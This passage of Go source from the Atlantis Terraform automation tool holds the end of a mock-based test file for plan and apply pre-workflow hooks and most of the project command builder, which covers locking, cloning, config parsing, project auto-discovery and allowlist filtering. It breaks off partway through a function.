Eq(testHookWithShellandShellArgs.RunCommand), Eq(testHookWithShellandShellArgs.Shell), Eq(testHookWithShellandShellArgs.ShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("Commands 'plan' set on webhook and plan command", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHookWithPlanCommand, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("Commands 'plan' set on webhook and non-plan command", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHookWithPlanCommand, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Apply)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, applyCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("Commands 'plan, apply' set on webhook and plan command", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHookWithPlanApplyCommands, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanApplyCommands.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanApplyCommands.RunCommand), Any[string](), Any[string](), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) } ================================================ FILE: server/events/project_command_builder.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "errors" "fmt" "os" "path/filepath" "slices" "sort" "strings" tally "github.com/uber-go/tally/v4" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/terraform/tfclient" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics" "github.com/runatlantis/atlantis/server/core/config" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" ) const ( // DefaultRepoRelDir is the default directory we run commands in, relative // to the root of the repo. DefaultRepoRelDir = "." // DefaultWorkspace is the default Terraform workspace we run commands in. // This is also Terraform's default workspace. DefaultWorkspace = "default" // DefaultDeleteSourceBranchOnMerge being false is the default setting whether or not to remove a source branch on merge DefaultDeleteSourceBranchOnMerge = false // DefaultAbortOnExecutionOrderFail being false is the default setting for abort on execution group failures DefaultAbortOnExecutionOrderFail = false ) func NewInstrumentedProjectCommandBuilder( logger logging.SimpleLogging, policyChecksSupported bool, parserValidator *config.ParserValidator, projectFinder ProjectFinder, vcsClient vcs.Client, workingDir WorkingDir, workingDirLocker WorkingDirLocker, globalCfg valid.GlobalCfg, pendingPlanFinder *DefaultPendingPlanFinder, commentBuilder CommentBuilder, skipCloneNoChanges bool, EnableRegExpCmd bool, EnableAutoMerge bool, EnableParallelPlan bool, EnableParallelApply bool, AutoDetectModuleFiles string, AutoplanFileList string, RestrictFileList bool, SilenceNoProjects bool, IncludeGitUntrackedFiles bool, AutoDiscoverMode string, scope tally.Scope, terraformClient tfclient.Client, ) *InstrumentedProjectCommandBuilder { scope = scope.SubScope("builder") for _, m := range []string{metrics.ExecutionSuccessMetric, metrics.ExecutionErrorMetric} { metrics.InitCounter(scope, m) } return &InstrumentedProjectCommandBuilder{ ProjectCommandBuilder: NewProjectCommandBuilder( policyChecksSupported, parserValidator, projectFinder, vcsClient, workingDir, workingDirLocker, globalCfg, pendingPlanFinder, commentBuilder, skipCloneNoChanges, EnableRegExpCmd, EnableAutoMerge, EnableParallelPlan, EnableParallelApply, AutoDetectModuleFiles, AutoplanFileList, RestrictFileList, SilenceNoProjects, IncludeGitUntrackedFiles, AutoDiscoverMode, scope, terraformClient, ), Logger: logger, scope: scope, } } func NewProjectCommandBuilder( policyChecksSupported bool, parserValidator *config.ParserValidator, projectFinder ProjectFinder, vcsClient vcs.Client, workingDir WorkingDir, workingDirLocker WorkingDirLocker, globalCfg valid.GlobalCfg, pendingPlanFinder *DefaultPendingPlanFinder, commentBuilder CommentBuilder, skipCloneNoChanges bool, EnableRegExpCmd bool, EnableAutoMerge bool, EnableParallelPlan bool, EnableParallelApply bool, AutoDetectModuleFiles string, AutoplanFileList string, RestrictFileList bool, SilenceNoProjects bool, IncludeGitUntrackedFiles bool, AutoDiscoverMode string, scope tally.Scope, terraformClient tfclient.Client, ) *DefaultProjectCommandBuilder { return &DefaultProjectCommandBuilder{ ParserValidator: parserValidator, ProjectFinder: projectFinder, VCSClient: vcsClient, WorkingDir: workingDir, WorkingDirLocker: workingDirLocker, GlobalCfg: globalCfg, PendingPlanFinder: pendingPlanFinder, SkipCloneNoChanges: skipCloneNoChanges, EnableRegExpCmd: EnableRegExpCmd, EnableAutoMerge: EnableAutoMerge, EnableParallelPlan: EnableParallelPlan, EnableParallelApply: EnableParallelApply, AutoDetectModuleFiles: AutoDetectModuleFiles, AutoplanFileList: AutoplanFileList, RestrictFileList: RestrictFileList, SilenceNoProjects: SilenceNoProjects, IncludeGitUntrackedFiles: IncludeGitUntrackedFiles, AutoDiscoverMode: AutoDiscoverMode, ProjectCommandContextBuilder: NewProjectCommandContextBuilder( policyChecksSupported, commentBuilder, scope, ), TerraformExecutor: terraformClient, } } type ProjectPlanCommandBuilder interface { // BuildAutoplanCommands builds project commands that will run plan on // the projects determined to be modified. BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) // BuildPlanCommands builds project plan commands for this ctx and comment. If // comment doesn't specify one project then there may be multiple commands // to be run. BuildPlanCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) } type ProjectApplyCommandBuilder interface { // BuildApplyCommands builds project Apply commands for this ctx and comment. If // comment doesn't specify one project then there may be multiple commands // to be run. BuildApplyCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) } type ProjectApprovePoliciesCommandBuilder interface { // BuildApprovePoliciesCommands builds project PolicyCheck commands for this ctx and comment. BuildApprovePoliciesCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) } type ProjectVersionCommandBuilder interface { // BuildVersionCommands builds project Version commands for this ctx and comment. If // comment doesn't specify one project then there may be multiple commands // to be run. BuildVersionCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) } type ProjectImportCommandBuilder interface { // BuildImportCommands builds project Import commands for this ctx and comment. If // comment doesn't specify one project then there may be multiple commands // to be run. BuildImportCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) } type ProjectStateCommandBuilder interface { // BuildStateRmCommands builds project state rm commands for this ctx and comment. If // comment doesn't specify one project then there may be multiple commands // to be run. BuildStateRmCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) } //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_project_command_builder.go ProjectCommandBuilder // ProjectCommandBuilder builds commands that run on individual projects. type ProjectCommandBuilder interface { ProjectPlanCommandBuilder ProjectApplyCommandBuilder ProjectApprovePoliciesCommandBuilder ProjectVersionCommandBuilder ProjectImportCommandBuilder ProjectStateCommandBuilder } // DefaultProjectCommandBuilder implements ProjectCommandBuilder. // This class combines the data from the comment and any atlantis.yaml file or // Atlantis server config and then generates a set of contexts. type DefaultProjectCommandBuilder struct { // Parses and validates server-side repo config files and repo-level atlantis.yaml files. ParserValidator *config.ParserValidator // Determines which projects were modified in a given pull request. ProjectFinder ProjectFinder // Used to make API calls to a VCS host like GitHub or GitLab. VCSClient vcs.Client // Handles the workspace on disk for running commands. WorkingDir WorkingDir // Used to prevent multiple commands from executing at the same time for a single repo, pull, and workspace. WorkingDirLocker WorkingDirLocker // The final parsed version of the server-side repo config. GlobalCfg valid.GlobalCfg // Finds unapplied plans. PendingPlanFinder *DefaultPendingPlanFinder // Builds project command contexts for Atlantis commands. ProjectCommandContextBuilder ProjectCommandContextBuilder // User config option: Skip cloning the repo during autoplan if there are no changes to Terraform projects. SkipCloneNoChanges bool // User config option: Enable the use of regular expressions to run plan/apply commands against defined project names. EnableRegExpCmd bool // User config option: Automatically merge pull requests after all plans have been successfully applied. EnableAutoMerge bool // User config option: Whether to run plan operations in parallel. EnableParallelPlan bool // User config option: Whether to run apply operations in parallel. EnableParallelApply bool // User config option: Enables auto-planning of projects when a module dependency in the same repository has changed. AutoDetectModuleFiles string // User config option: List of file patterns to to to check if a directory contains modified files. AutoplanFileList string // User config option: Format Terraform plan output into a markdown-diff friendly format for color-coding purposes. EnableDiffMarkdownFormat bool // User config option: Block plan requests from projects outside the files modified in the pull request. RestrictFileList bool // User config option: Ignore PR if none of the modified files are part of a project. SilenceNoProjects bool // User config option: Include git untracked files in the modified file list. IncludeGitUntrackedFiles bool // User config option: Controls auto-discovery of projects in a repository. AutoDiscoverMode string // Handles the actual running of Terraform commands. TerraformExecutor tfclient.Client } // See ProjectCommandBuilder.BuildAutoplanCommands. func (p *DefaultProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) { projCtxs, err := p.buildAllCommandsByCfg(ctx, command.Plan, "", nil, false) if err != nil { return nil, err } var autoplanEnabled []command.ProjectContext for _, projCtx := range projCtxs { if !projCtx.AutoplanEnabled { ctx.Log.Debug("ignoring project at dir '%s', workspace: '%s' because autoplan is disabled", projCtx.RepoRelDir, projCtx.Workspace) continue } autoplanEnabled = append(autoplanEnabled, projCtx) } return autoplanEnabled, nil } // See ProjectCommandBuilder.BuildPlanCommands. func (p *DefaultProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { if !cmd.IsForSpecificProject() { ctx.Log.Debug("Building plan command for all affected projects") return p.buildAllCommandsByCfg(ctx, cmd.CommandName(), cmd.SubName, cmd.Flags, cmd.Verbose) } ctx.Log.Debug("Building plan command for specific project with directory: '%v', workspace: '%v', project: '%v'", cmd.RepoRelDir, cmd.Workspace, cmd.ProjectName) return p.buildProjectPlanCommand(ctx, cmd) } // See ProjectCommandBuilder.BuildApplyCommands. func (p *DefaultProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { if !cmd.IsForSpecificProject() { return p.buildAllProjectCommandsByPlan(ctx, cmd) } return p.buildProjectCommand(ctx, cmd) } func (p *DefaultProjectCommandBuilder) BuildApprovePoliciesCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { if !cmd.IsForSpecificProject() { return p.buildAllProjectCommandsByPlan(ctx, cmd) } return p.buildProjectCommand(ctx, cmd) } func (p *DefaultProjectCommandBuilder) BuildVersionCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { if !cmd.IsForSpecificProject() { return p.buildAllProjectCommandsByPlan(ctx, cmd) } return p.buildProjectCommand(ctx, cmd) } func (p *DefaultProjectCommandBuilder) BuildImportCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { if !cmd.IsForSpecificProject() { // import discard a plan file, so use buildAllCommandsByCfg instead buildAllProjectCommandsByPlan. return p.buildAllCommandsByCfg(ctx, cmd.CommandName(), cmd.SubName, cmd.Flags, cmd.Verbose) } return p.buildProjectCommand(ctx, cmd) } func (p *DefaultProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { if !cmd.IsForSpecificProject() { // state rm discard a plan file, so use buildAllCommandsByCfg instead buildAllProjectCommandsByPlan. return p.buildAllCommandsByCfg(ctx, cmd.CommandName(), cmd.SubName, cmd.Flags, cmd.Verbose) } return p.buildProjectCommand(ctx, cmd) } // shouldSkipClone determines whether we should skip cloning for a given context func (p *DefaultProjectCommandBuilder) shouldSkipClone(ctx *command.Context, modifiedFiles []string) (bool, error) { // NOTE: We discard this work here and end up doing it again after // cloning to ensure all the return values are set properly with // the actual clone directory. if !p.SkipCloneNoChanges || !p.VCSClient.SupportsSingleFileDownload(ctx.Pull.BaseRepo) { return false, nil } repoCfgFile := p.GlobalCfg.RepoConfigFile(ctx.Pull.BaseRepo.ID()) hasRepoCfg, repoCfgData, err := p.VCSClient.GetFileContent(ctx.Log, ctx.HeadRepo, ctx.Pull.HeadBranch, repoCfgFile) if err != nil { return false, fmt.Errorf("downloading %s: %w", repoCfgFile, err) } // We can only skip if we determine that none of the modified files belong to projects configured in a repo config if !hasRepoCfg { return false, nil } repoCfg, err := p.ParserValidator.ParseRepoCfgData(repoCfgData, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch) if err != nil { return false, fmt.Errorf("parsing %s: %w", repoCfgFile, err) } ctx.Log.Info("successfully parsed remote %s file", repoCfgFile) // If auto discover is enabled, we never want to skip cloning if p.autoDiscoverModeEnabled(ctx, repoCfg) { ctx.Log.Info("automatic project discovery enabled. Will resume automatic detection") return false, nil } if len(repoCfg.Projects) == 0 { ctx.Log.Info("no projects are defined in %s. Will resume automatic detection", repoCfgFile) return false, nil } matchingProjects, err := p.ProjectFinder.DetermineProjectsViaConfig(ctx.Log, modifiedFiles, repoCfg, "", nil) if err != nil { return false, err } ctx.Log.Info("%d projects are changed on MR %d based on their when_modified config", len(matchingProjects), ctx.Pull.Num) if len(matchingProjects) == 0 { ctx.Log.Info("skipping repo clone since no project was modified") return true, nil } return false, nil } // autoDiscoverModeEnabled determines whether to use autodiscover func (p *DefaultProjectCommandBuilder) autoDiscoverModeEnabled(ctx *command.Context, repoCfg valid.RepoCfg) bool { defaultAutoDiscoverMode := valid.AutoDiscoverMode(p.AutoDiscoverMode) globalAutoDiscover := p.GlobalCfg.RepoAutoDiscoverCfg(ctx.Pull.BaseRepo.ID()) if globalAutoDiscover != nil { defaultAutoDiscoverMode = globalAutoDiscover.Mode } return repoCfg.AutoDiscoverEnabled(defaultAutoDiscoverMode) } // isAutoDiscoverPathIgnored determines whether this particular path is ignored for the purposes of auto discovery func (p *DefaultProjectCommandBuilder) isAutoDiscoverPathIgnored(ctx *command.Context, repoCfg valid.RepoCfg, path string) bool { fromGlobalAutoDiscover := p.GlobalCfg.RepoAutoDiscoverCfg(ctx.Pull.BaseRepo.ID()) if fromGlobalAutoDiscover != nil { return fromGlobalAutoDiscover.IsPathIgnored(path) } if repoCfg.AutoDiscover != nil { return repoCfg.AutoDiscover.IsPathIgnored(path) } return false } // getMergedProjectCfgs gets all merged project configs for building commands given a context and a clone repo func (p *DefaultProjectCommandBuilder) getMergedProjectCfgs(ctx *command.Context, repoDir string, modifiedFiles []string, repoCfg valid.RepoCfg) ([]valid.MergedProjectCfg, error) { mergedCfgs := make([]valid.MergedProjectCfg, 0) moduleInfo, err := FindModuleProjects(repoDir, p.AutoDetectModuleFiles) if err != nil { ctx.Log.Warn("error(s) loading project module dependencies: %s", err) } ctx.Log.Debug("moduleInfo for '%s' (matching '%s') = %v", repoDir, p.AutoDetectModuleFiles, moduleInfo) if len(repoCfg.Projects) > 0 { matchingProjects, err := p.ProjectFinder.DetermineProjectsViaConfig(ctx.Log, modifiedFiles, repoCfg, repoDir, moduleInfo) if err != nil { return nil, err } ctx.Log.Info("%d projects are to be planned based on their when_modified config", len(matchingProjects)) for _, mp := range matchingProjects { ctx.Log.Debug("determining config for project at dir: '%s' workspace: '%s'", mp.Dir, mp.Workspace) mergedCfg := p.GlobalCfg.MergeProjectCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp, repoCfg) mergedCfgs = append(mergedCfgs, mergedCfg) } } if p.autoDiscoverModeEnabled(ctx, repoCfg) { ctx.Log.Info("automatic project discovery enabled. Will run automatic detection") // build a module index for projects that are explicitly included allModifiedProjects := p.ProjectFinder.DetermineProjects( ctx.Log, modifiedFiles, ctx.Pull.BaseRepo.FullName, repoDir, p.AutoplanFileList, moduleInfo) // If a project is already manually configured with the same dir as a discovered project, the manually configured // project should take precedence modifiedProjects := make([]models.Project, 0) configuredProjDirs := make(map[string]bool) // We compare against all configured projects instead of projects which match the modified files in case a // project is being specifically excluded (ex: when_modified doesn't match). We don't want to accidentally // "discover" it again. for _, configProj := range repoCfg.Projects { // Clean the path to make sure ./rel_path is equivalent to rel_path, etc configuredProjDirs[filepath.Clean(configProj.Dir)] = true } for _, mp := range allModifiedProjects { path := filepath.Clean(mp.Path) if p.isAutoDiscoverPathIgnored(ctx, repoCfg, path) { continue } _, dirExists := configuredProjDirs[path] if !dirExists { modifiedProjects = append(modifiedProjects, mp) } } ctx.Log.Info("automatically determined that there were %d additional projects modified in this pull request: %s", len(modifiedProjects), modifiedProjects) for _, mp := range modifiedProjects { ctx.Log.Debug("determining config for project at dir: '%s'", mp.Path) absProjectDir := filepath.Join(repoDir, mp.Path) pWorkspace, err := p.ProjectFinder.DetermineWorkspaceFromHCL(ctx.Log, absProjectDir) if err != nil { return nil, fmt.Errorf("looking for Terraform Cloud workspace from configuration in '%s': %w", absProjectDir, err) } pCfg := p.GlobalCfg.DefaultProjCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp.Path, pWorkspace) mergedCfgs = append(mergedCfgs, pCfg) } } return mergedCfgs, nil } // buildAllCommandsByCfg builds init contexts for all projects we determine were // modified in this ctx. func (p *DefaultProjectCommandBuilder) buildAllCommandsByCfg(ctx *command.Context, cmdName command.Name, subCmdName string, commentFlags []string, verbose bool) ([]command.ProjectContext, error) { // We'll need the list of modified files. modifiedFiles, err := p.VCSClient.GetModifiedFiles(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull) if err != nil { return nil, err } ctx.Log.Debug("%d files were modified in this pull request. Modified files: %v", len(modifiedFiles), modifiedFiles) // If we're not including git untracked files, we can skip the clone if there are no modified files. if !p.IncludeGitUntrackedFiles { shouldSkipClone, err := p.shouldSkipClone(ctx, modifiedFiles) if err != nil { return nil, err } if shouldSkipClone { return []command.ProjectContext{}, nil } } // Need to lock the workspace we're about to clone to. workspace := DefaultWorkspace unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace, DefaultRepoRelDir, "", cmdName) if err != nil { ctx.Log.Warn("workspace was locked") return nil, err } ctx.Log.Debug("got workspace lock") defer unlockFn() repoDir, err := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace) if err != nil { return nil, err } if p.IncludeGitUntrackedFiles { ctx.Log.Debug(("'include-git-untracked-files' option is set, getting untracked files")) untrackedFiles, err := p.WorkingDir.GetGitUntrackedFiles(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace) if err != nil { return nil, err } modifiedFiles = append(modifiedFiles, untrackedFiles...) } // Parse config file if it exists. repoCfgFile := p.GlobalCfg.RepoConfigFile(ctx.Pull.BaseRepo.ID()) hasRepoCfg, err := p.ParserValidator.HasRepoCfg(repoDir, repoCfgFile) if err != nil { return nil, fmt.Errorf("looking for '%s' file in '%s': %w", repoCfgFile, repoDir, err) } var projCtxs []command.ProjectContext var repoCfg valid.RepoCfg if hasRepoCfg { // If there's a repo cfg with projects then we'll use it to figure out which projects // should be planed. repoCfg, err = p.ParserValidator.ParseRepoCfg(repoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch) if err != nil { return nil, fmt.Errorf("parsing %s: %w", repoCfgFile, err) } ctx.Log.Info("successfully parsed %s file", repoCfgFile) } else { ctx.Log.Info("repo config file %s is absent, using global defaults", repoCfgFile) } mergedProjectCfgs, err := p.getMergedProjectCfgs(ctx, repoDir, modifiedFiles, repoCfg) if err != nil { return nil, err } automerge := p.EnableAutoMerge parallelApply := p.EnableParallelApply parallelPlan := p.EnableParallelPlan abortOnExecutionOrderFail := DefaultAbortOnExecutionOrderFail if hasRepoCfg { if repoCfg.Automerge != nil { automerge = *repoCfg.Automerge } if repoCfg.ParallelApply != nil { parallelApply = *repoCfg.ParallelApply } if repoCfg.ParallelPlan != nil { parallelPlan = *repoCfg.ParallelPlan } abortOnExecutionOrderFail = repoCfg.AbortOnExecutionOrderFail } for _, mergedProjectCfg := range mergedProjectCfgs { projCtxs = append(projCtxs, p.ProjectCommandContextBuilder.BuildProjectContext( ctx, cmdName, subCmdName, mergedProjectCfg, commentFlags, repoDir, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail, p.TerraformExecutor, )...) } sort.Slice(projCtxs, func(i, j int) bool { return projCtxs[i].ExecutionOrderGroup < projCtxs[j].ExecutionOrderGroup }) // Filter projects to only include ones the user is authorized for projCtxs = slices.DeleteFunc(projCtxs, func(projCtx command.ProjectContext) bool { if projCtx.TeamAllowlistChecker == nil || !projCtx.TeamAllowlistChecker.HasRules() { // allowlist restriction is not enabled return false } ctx := models.TeamAllowlistCheckerContext{ BaseRepo: projCtx.BaseRepo, CommandName: projCtx.CommandName.String(), EscapedCommentArgs: projCtx.EscapedCommentArgs, HeadRepo: projCtx.HeadRepo, Log: projCtx.Log, Pull: projCtx.Pull, ProjectName: projCtx.ProjectName, RepoDir: repoDir, RepoRelDir: projCtx.RepoRelDir, User: projCtx.User, Verbose: projCtx.Verbose, Workspace: projCtx.Workspace, API: false, } return !projCtx.TeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, projCtx.User.Teams, projCtx.CommandName.String()) }) return projCtxs, nil } // buildProjectPlanCommand builds a plan context for a single project. // cmd must be for only one project. func (p *DefaultProjectCommandBuilder) buildProjectPlanCommand(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { workspace := DefaultWorkspace if cmd.Workspace != "" { workspace = cmd.Workspace } var pcc []command.ProjectContext ctx.Log.Debug("building plan command") unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace, DefaultRepoRelDir, cmd.ProjectName, cmd.Name) if err != nil { return pcc, err } defer unlockFn() ctx.Log.Debug("cloning repository") _, err = p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace) if err != nil { return pcc, err } // use the default repository workspace because it is the only one guaranteed to have an atlantis.yaml, // other workspaces will not have the file if they are using pre_workflow_hooks to generate it dynamically defaultRepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, DefaultWorkspace) if err != nil { return pcc, err } if p.RestrictFileList { ctx.Log.Debug("'restrict-file-list' option is set, checking modified files") modifiedFiles, err := p.VCSClient.GetModifiedFiles(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull) if err != nil { return nil, err } if p.IncludeGitUntrackedFiles { ctx.Log.Debug(("'include-git-untracked-files' option is set, getting untracked files")) untrackedFiles, err := p.WorkingDir.GetGitUntrackedFiles(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace) if err != nil { return nil, err } modifiedFiles = append(modifiedFiles, untrackedFiles...) } ctx.Log.Debug("%d files were modified in this pull request. Modified files: %v", len(modifiedFiles), modifiedFiles) if cmd.RepoRelDir != "" { ctx.Log.Debug("Command directory specified: %s", cmd.RepoRelDir) foundDir := false for _, f := range modifiedFiles { if filepath.Dir(f) == cmd.RepoRelDir { foundDir = true } } if !foundDir { return pcc, fmt.Errorf("the dir \"%s\" is not in the plan list of this pull request", cmd.RepoRelDir) } } if cmd.ProjectName != "" { ctx.Log.Debug("Command project name specified: %s", cmd.ProjectName) var notFoundFiles = []string{} var repoConfig valid.RepoCfg repoConfig, err = p.ParserValidator.ParseRepoCfg(defaultRepoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch) if err != nil { return pcc, err } repoCfgProjects := repoConfig.FindProjectsByName(cmd.ProjectName) for _, f := range modifiedFiles { foundDir := false for _, p := range repoCfgProjects { if filepath.Dir(f) == p.Dir { foundDir = true } } if !foundDir { notFoundFiles = append(notFoundFiles, filepath.Dir(f)) } } if len(notFoundFiles) > 0 { return pcc, fmt.Errorf("the following directories are present in the pull request but not in the requested project:\n%s", strings.Join(notFoundFiles, "\n")) } } } if DefaultWorkspace != workspace { ctx.Log.Debug("cloning repository with workspace %s", workspace) _, err = p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace) if err != nil { return pcc, err } } repoRelDir := DefaultRepoRelDir if cmd.RepoRelDir != "" { repoRelDir = cmd.RepoRelDir } return p.buildProjectCommandCtx( ctx, command.Plan, "", cmd.ProjectName, cmd.Flags, defaultRepoDir, repoRelDir, workspace, cmd.Verbose, ) } // getCfg returns the atlantis.yaml config (if it exists) for this project. If // there is no config, then projectCfg and repoCfg will be nil. func (p *DefaultProjectCommandBuilder) getCfg(ctx *command.Context, projectName string, dir string, workspace string, repoDir string) (projectsCfg []valid.Project, repoCfg *valid.RepoCfg, err error) { repoCfgFile := p.GlobalCfg.RepoConfigFile(ctx.Pull.BaseRepo.ID()) hasRepoCfg, err := p.ParserValidator.HasRepoCfg(repoDir, repoCfgFile) if err != nil { err = fmt.Errorf("looking for '%s' file in '%s': %w", repoCfgFile, repoDir, err) return } if !hasRepoCfg { if projectName != "" { err = fmt.Errorf("cannot specify a project name unless an %s file exists to configure projects", repoCfgFile) return } return } var repoConfig valid.RepoCfg repoConfig, err = p.ParserValidator.ParseRepoCfg(repoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch) if err != nil { return } repoCfg = &repoConfig // If they've specified a project by name we look it up. Otherwise we // use the dir and workspace. if projectName != "" { if p.EnableRegExpCmd { projectsCfg = repoCfg.FindProjectsByName(projectName) } else { if p := repoCfg.FindProjectByName(projectName); p != nil { projectsCfg = append(projectsCfg, *p) } } if len(projectsCfg) == 0 { if p.SilenceNoProjects && len(repoConfig.Projects) > 0 { ctx.Log.Debug("no project with name '%s' found but silencing the error", projectName) } else { err = fmt.Errorf("no project with name '%s' is defined in '%s'", projectName, repoCfgFile) } return } return } // Check if dir contains glob pattern characters for pattern matching if valid.ContainsDirGlobPattern(dir) { // Use glob pattern matching projCfgs := repoCfg.FindProjectsByDirPatternWorkspace(dir, workspace) if len(projCfgs) == 0 { return } // For glob patterns, multiple matches are expected and allowed projectsCfg = projCfgs return } // Exact directory matching projCfgs := repoCfg.FindProjectsByDirWorkspace(dir, workspace) if len(projCfgs) == 0 { return } if len(projCfgs) > 1 { err = fmt.Errorf("must specify project name: more than one project defined in '%s' matched dir: '%s' workspace: '%s'", repoCfgFile, dir, workspace) return } projectsCfg = projCfgs return } // buildAllProjectCommandsByPlan builds contexts for a command for every project that has // pending plans in this ctx. func (p *DefaultProjectCommandBuilder) buildAllProjectCommandsByPlan(ctx *command.Context, commentCmd *CommentCommand) ([]command.ProjectContext, error) { pullDir, err := p.WorkingDir.GetPullDir(ctx.Pull.BaseRepo, ctx.Pull) if err != nil { return nil, err } plans, err := p.PendingPlanFinder.Find(pullDir) if err != nil { return nil, err } // use the default repository workspace because it is the only one guaranteed to have an atlantis.yaml, // other workspaces will not have the file if they are using pre_workflow_hooks to generate it dynamically defaultRepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, DefaultWorkspace) if err != nil { return nil, err } var cmds []command.ProjectContext for _, plan := range plans { // Lock all the directories we need to run the command in unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, 